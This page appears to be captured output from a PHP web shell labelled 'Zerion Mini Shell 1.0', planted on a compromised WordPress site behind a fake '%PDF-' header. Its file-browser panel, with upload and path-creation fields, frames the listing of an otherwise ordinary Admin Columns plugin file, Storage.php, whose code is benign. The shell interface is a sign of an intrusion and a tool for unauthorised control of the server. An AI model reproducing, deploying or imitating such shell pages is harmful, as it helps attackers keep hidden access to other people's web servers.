%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/Service/
Upload File :
Create Path :
Current File : //var/www/cwg/wp-content/plugins/codepress-admin-columns/classes/Service/Storage.php

<?php

namespace AC\Service;

use AC\ListScreenRepository;
use AC\ListScreenRepository\Database;
use AC\ListScreenTypes;
use AC\Registrable;

final class Storage implements Registrable {

	/**
	 * @var ListScreenRepository\Storage
	 */
	private $storage;

	/**
	 * @var ListScreenTypes
	 */
	private $list_screen_types;

	public function __construct( ListScreenRepository\Storage $storage, ListScreenTypes $list_screen_types ) {
		$this->storage = $storage;
		$this->list_screen_types = $list_screen_types;
	}

	public function register() {
		$this->storage->set_repositories( [
			'acp-database' => new ListScreenRepository\Storage\ListScreenRepository(
				new Database( $this->list_screen_types ),
				true
			),
		] );
	}

}

Zerion Mini Shell 1.0